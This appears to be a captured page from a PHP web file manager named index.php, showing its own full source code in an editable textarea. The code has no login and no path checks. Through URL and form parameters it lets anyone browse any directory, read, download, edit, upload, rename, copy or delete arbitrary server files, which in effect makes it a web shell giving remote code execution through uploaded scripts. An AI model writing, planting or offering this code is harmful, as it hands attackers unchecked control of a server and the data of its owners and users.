<h2>File Contents: ./index.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='./index.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

function listDirectoryContents($dir) {
    $files = scandir($dir);

    echo &quot;&lt;h2&gt;Current Directory: &quot;;
    $pathParts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathLink = &quot;&quot;;

    foreach ($pathParts as $index =&gt; $part) {
        $pathLink .= ($index &gt; 0 ? DIRECTORY_SEPARATOR : &quot;&quot;) . $part;
        echo &quot;&lt;a href=&#039;?dir=&quot; . urlencode($pathLink) . &quot;&#039;&gt;&quot; . htmlspecialchars($part) . &quot;&lt;/a&gt;&quot;;
        if ($index &lt; count($pathParts) - 1) echo &quot; / &quot;;
    }
    echo &quot;&lt;/h2&gt;&quot;;

    echo &quot;&lt;ul&gt;&quot;;

    if ($dir !== __DIR__) {
        $parentDir = dirname($dir);
        echo &quot;&lt;li&gt;&lt;a href=&#039;?dir=&quot; . urlencode($parentDir) . &quot;&#039;&gt;⬅ Back&lt;/a&gt;&lt;/li&gt;&quot;;
    }

    foreach ($files as $file) {
        if ($file === &quot;.&quot; || $file === &quot;..&quot;) continue;

        $path = $dir . DIRECTORY_SEPARATOR . $file;

        if (is_dir($path)) {
            echo &quot;&lt;li&gt;[DIR] &lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&#039;&gt;&quot; . htmlspecialchars($file) . &quot;&lt;/a&gt;&quot;;
            echo &quot; &lt;a href=&#039;?delete=&quot; . urlencode($path) . &quot;&#039; onclick=&#039;return confirm(\&quot;Are you sure you want to delete this folder?\&quot;)&#039;&gt;[Delete]&lt;/a&gt;&quot;;
            echo &quot; &lt;a href=&#039;?rename=&quot; . urlencode($path) . &quot;&#039;&gt;[Rename]&lt;/a&gt;&lt;/li&gt;&quot;;
        } else {
            echo &quot;&lt;li&gt;[FILE] &lt;a href=&#039;?file=&quot; . urlencode($path) . &quot;&#039;&gt;&quot; . htmlspecialchars($file) . &quot;&lt;/a&gt;&quot;;
            echo &quot; &lt;a href=&#039;?delete=&quot; . urlencode($path) . &quot;&#039; onclick=&#039;return confirm(\&quot;Are you sure you want to delete this file?\&quot;)&#039;&gt;[Delete]&lt;/a&gt;&quot;;
            echo &quot; &lt;a href=&#039;?rename=&quot; . urlencode($path) . &quot;&#039;&gt;[Rename]&lt;/a&gt;&quot;;
            echo &quot; &lt;a href=&#039;?download=&quot; . urlencode($path) . &quot;&#039; target=&#039;_blank&#039;&gt;[Download]&lt;/a&gt;&quot;;
            echo &quot; &lt;a href=&#039;?copy=&quot; . urlencode($path) . &quot;&#039;&gt;[Copy]&lt;/a&gt;&lt;/li&gt;&quot;;
        }
    }
    echo &quot;&lt;/ul&gt;&quot;;

    // Create New File Form
    echo &quot;&lt;h3&gt;Create New File&lt;/h3&gt;&quot;;
    echo &quot;&lt;form method=&#039;POST&#039; action=&#039;&#039;&gt;&quot;;
    echo &quot;&lt;input type=&#039;hidden&#039; name=&#039;current_dir&#039; value=&#039;&quot; . htmlspecialchars($dir) . &quot;&#039;&gt;&quot;;
    echo &quot;&lt;input type=&#039;text&#039; name=&#039;new_file_name&#039; placeholder=&#039;Enter file name with extension&#039; required&gt;&lt;br&gt;&quot;;
    echo &quot;&lt;textarea name=&#039;file_content&#039; placeholder=&#039;Enter content for new file&#039;&gt;&lt;/textarea&gt;&lt;br&gt;&quot;;
    echo &quot;&lt;button type=&#039;submit&#039;&gt;Create File&lt;/button&gt;&quot;;
    echo &quot;&lt;/form&gt;&quot;;

    // File Upload Form
    echo &quot;&lt;h3&gt;Upload File&lt;/h3&gt;&quot;;
    echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039; action=&#039;&#039;&gt;&quot;;
    echo &quot;&lt;input type=&#039;hidden&#039; name=&#039;current_dir&#039; value=&#039;&quot; . htmlspecialchars($dir) . &quot;&#039;&gt;&quot;;
    echo &quot;&lt;input type=&#039;file&#039; name=&#039;uploaded_file&#039; required&gt;&lt;br&gt;&quot;;
    echo &quot;&lt;button type=&#039;submit&#039;&gt;Upload File&lt;/button&gt;&quot;;
    echo &quot;&lt;/form&gt;&quot;;
}

if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {
    if (isset($_POST[&#039;new_file_name&#039;], $_POST[&#039;current_dir&#039;])) {
        $newFileName = $_POST[&#039;new_file_name&#039;];
        $currentDir = $_POST[&#039;current_dir&#039;];
        $fileContent = $_POST[&#039;file_content&#039;] ?? &quot;&quot;;
        $filePath = $currentDir . DIRECTORY_SEPARATOR . $newFileName;

        if (!file_exists($filePath)) {
            file_put_contents($filePath, $fileContent);
            echo &quot;&lt;p&gt;File &#039;$newFileName&#039; created successfully in &#039;$currentDir&#039;.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;File already exists.&lt;/p&gt;&quot;;
        }
        listDirectoryContents($currentDir);
    } elseif (isset($_FILES[&#039;uploaded_file&#039;], $_POST[&#039;current_dir&#039;])) {
        $currentDir = $_POST[&#039;current_dir&#039;];
        $uploadedFile = $_FILES[&#039;uploaded_file&#039;];

        if ($uploadedFile[&#039;error&#039;] === UPLOAD_ERR_OK) {
            $targetPath = $currentDir . DIRECTORY_SEPARATOR . basename($uploadedFile[&#039;name&#039;]);
            if (move_uploaded_file($uploadedFile[&#039;tmp_name&#039;], $targetPath)) {
                echo &quot;&lt;p&gt;File &#039;&quot; . htmlspecialchars($uploadedFile[&#039;name&#039;]) . &quot;&#039; uploaded successfully to &#039;$currentDir&#039;.&lt;/p&gt;&quot;;
            } else {
                echo &quot;&lt;p&gt;Failed to upload file.&lt;/p&gt;&quot;;
            }
        } else {
            echo &quot;&lt;p&gt;Error uploading file: &quot; . $uploadedFile[&#039;error&#039;] . &quot;&lt;/p&gt;&quot;;
        }
        listDirectoryContents($currentDir);
    } elseif (isset($_POST[&#039;rename_path&#039;], $_POST[&#039;new_name&#039;])) {
        $oldPath = $_POST[&#039;rename_path&#039;];
        $newName = $_POST[&#039;new_name&#039;];
        $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $newName;

        if (rename($oldPath, $newPath)) {
            echo &quot;&lt;p&gt;&#039;&quot; . htmlspecialchars(basename($oldPath)) . &quot;&#039; renamed to &#039;&quot; . htmlspecialchars($newName) . &quot;&#039;.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;Failed to rename &#039;&quot; . htmlspecialchars(basename($oldPath)) . &quot;&#039;.&lt;/p&gt;&quot;;
        }
        listDirectoryContents(dirname($oldPath));
    }
} elseif (isset($_GET[&#039;delete&#039;])) {
    $deletePath = $_GET[&#039;delete&#039;];

    if (is_dir($deletePath)) {
        if (rmdir($deletePath)) {
            echo &quot;&lt;p&gt;Folder &#039;&quot; . htmlspecialchars(basename($deletePath)) . &quot;&#039; deleted successfully.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;Failed to delete folder &#039;&quot; . htmlspecialchars(basename($deletePath)) . &quot;&#039;. Make sure it is empty.&lt;/p&gt;&quot;;
        }
    } elseif (is_file($deletePath)) {
        if (unlink($deletePath)) {
            echo &quot;&lt;p&gt;File &#039;&quot; . htmlspecialchars(basename($deletePath)) . &quot;&#039; deleted successfully.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;Failed to delete file &#039;&quot; . htmlspecialchars(basename($deletePath)) . &quot;&#039;.&lt;/p&gt;&quot;;
        }
    }
    listDirectoryContents(dirname($deletePath));
} elseif (isset($_GET[&#039;rename&#039;])) {
    $renamePath = $_GET[&#039;rename&#039;];
    echo &quot;&lt;h2&gt;Rename &#039;&quot; . htmlspecialchars(basename($renamePath)) . &quot;&#039;&lt;/h2&gt;&quot;;
    echo &quot;&lt;form method=&#039;POST&#039; action=&#039;&#039;&gt;&quot;;
    echo &quot;&lt;input type=&#039;hidden&#039; name=&#039;rename_path&#039; value=&#039;&quot; . htmlspecialchars($renamePath) . &quot;&#039;&gt;&quot;;
    echo &quot;&lt;input type=&#039;text&#039; name=&#039;new_name&#039; placeholder=&#039;Enter new name&#039; required&gt;&quot;;
    echo &quot;&lt;button type=&#039;submit&#039;&gt;Rename&lt;/button&gt;&quot;;
    echo &quot;&lt;/form&gt;&quot;;
    echo &quot;&lt;a href=&#039;?dir=&quot; . urlencode(dirname($renamePath)) . &quot;&#039;&gt;⬅ Back to Directory&lt;/a&gt;&quot;;
} elseif (isset($_GET[&#039;file&#039;])) {
    $file = $_GET[&#039;file&#039;];
    if (file_exists($file)) {
        echo &quot;&lt;h2&gt;File Contents: &quot; . htmlspecialchars($file) . &quot;&lt;/h2&gt;&quot;;
        $content = htmlspecialchars(file_get_contents($file));
        echo &quot;&lt;form method=&#039;POST&#039; action=&#039;&#039;&gt;&quot;;
        echo &quot;&lt;input type=&#039;hidden&#039; name=&#039;edit_file&#039; value=&#039;&quot; . htmlspecialchars($file) . &quot;&#039;&gt;&quot;;
        echo &quot;&lt;textarea name=&#039;file_content&#039; rows=&#039;10&#039; cols=&#039;50&#039;&gt;$content&lt;/textarea&gt;&lt;br&gt;&quot;;
        echo &quot;&lt;button type=&#039;submit&#039;&gt;Save Changes&lt;/button&gt;&quot;;
        echo &quot;&lt;/form&gt;&quot;;
        echo &quot;&lt;a href=&#039;?dir=&quot; . urlencode(dirname($file)) . &quot;&#039;&gt;⬅ Back to Directory&lt;/a&gt;&quot;;
    } else {
        echo &quot;File does not exist.&quot;;
    }
} elseif (isset($_GET[&#039;download&#039;])) {
    $file = $_GET[&#039;download&#039;];
    if (file_exists($file) &amp;&amp; is_file($file)) {
        header(&#039;Content-Description: File Transfer&#039;);
        header(&#039;Content-Type: application/octet-stream&#039;);
        header(&#039;Content-Disposition: attachment; filename=&quot;&#039; . basename($file) . &#039;&quot;&#039;);
        header(&#039;Expires: 0&#039;);
        header(&#039;Cache-Control: must-revalidate&#039;);
        header(&#039;Pragma: public&#039;);
        header(&#039;Content-Length: &#039; . filesize($file));
        readfile($file);
        exit;
    } else {
        echo &quot;&lt;p&gt;File not found for download.&lt;/p&gt;&quot;;
    }
} elseif (isset($_GET[&#039;copy&#039;])) {
    $file = $_GET[&#039;copy&#039;];
    if (file_exists($file) &amp;&amp; is_file($file)) {
        $copyName = dirname($file) . DIRECTORY_SEPARATOR . &#039;copy_of_&#039; . basename($file);
        if (copy($file, $copyName)) {
            echo &quot;&lt;p&gt;File copied successfully as &#039;&quot; . htmlspecialchars(basename($copyName)) . &quot;&#039;&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;Failed to copy file.&lt;/p&gt;&quot;;
        }
    } else {
        echo &quot;&lt;p&gt;File not found to copy.&lt;/p&gt;&quot;;
    }
    listDirectoryContents(dirname($file));
} else {
    $dir = isset($_GET[&#039;dir&#039;]) ? $_GET[&#039;dir&#039;] : __DIR__;
    listDirectoryContents($dir);
}

?&gt;
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=.'>⬅ Back to Directory</a>